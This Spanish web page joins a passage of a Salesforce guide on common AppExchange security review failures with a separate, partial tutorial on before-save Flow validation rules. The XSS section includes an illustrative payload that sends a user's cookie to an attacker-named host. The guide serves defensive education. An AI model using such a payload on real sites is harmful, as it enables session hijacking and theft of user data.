Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Developers

Validaciones personalizadas mediante flujos activados por registros

Última actualización el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se escribe una regla de validación utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la regla de validación
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validación
  • Mostrar el mensaje de error en la parte superior de la página
  • Y mucho más

👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Adición de validación a los componentes de la pantalla de flujo
  2. ¿Regla de validación usando un flujo antes de guardar? ¡Sí!
  3. Cómo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.

¿Qué es la regla de validación?

Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .

En este artículo, hablé sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validación . Por ejemplo, mostré cómo usar una regla de validación para administrar requisitos usando tipos de metadatos personalizados.

¿Qué es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inició el Flujo
  2. Activar una regla de validación (no necesaria después del lanzamiento de winter'24)

Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campeón de Automatización (I-do):

Paso 2: uso del elemento de decisión para verificar si la oportunidad se creó o actualizó

Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cuándo ejecutar el resultado : si se cumplen los requisitos de la condición
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condición
      1. Fila 1:
        1. Campo : EstáCerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cuántos registros almacenar:
    1. seleccione Todos los registros
  7. Cómo almacenar datos de registro:
    1. Elija la opción para Almacenar automáticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisión para verificar si se encontró o no una oportunidad abierta  

Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cuándo ejecutar Resultado : Si se cumplen los requisitos de la condición .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Establecer detalles del mensaje de error 1
    1. Dónde mostrar el mensaje de error : en una ventana en una página de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validación personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
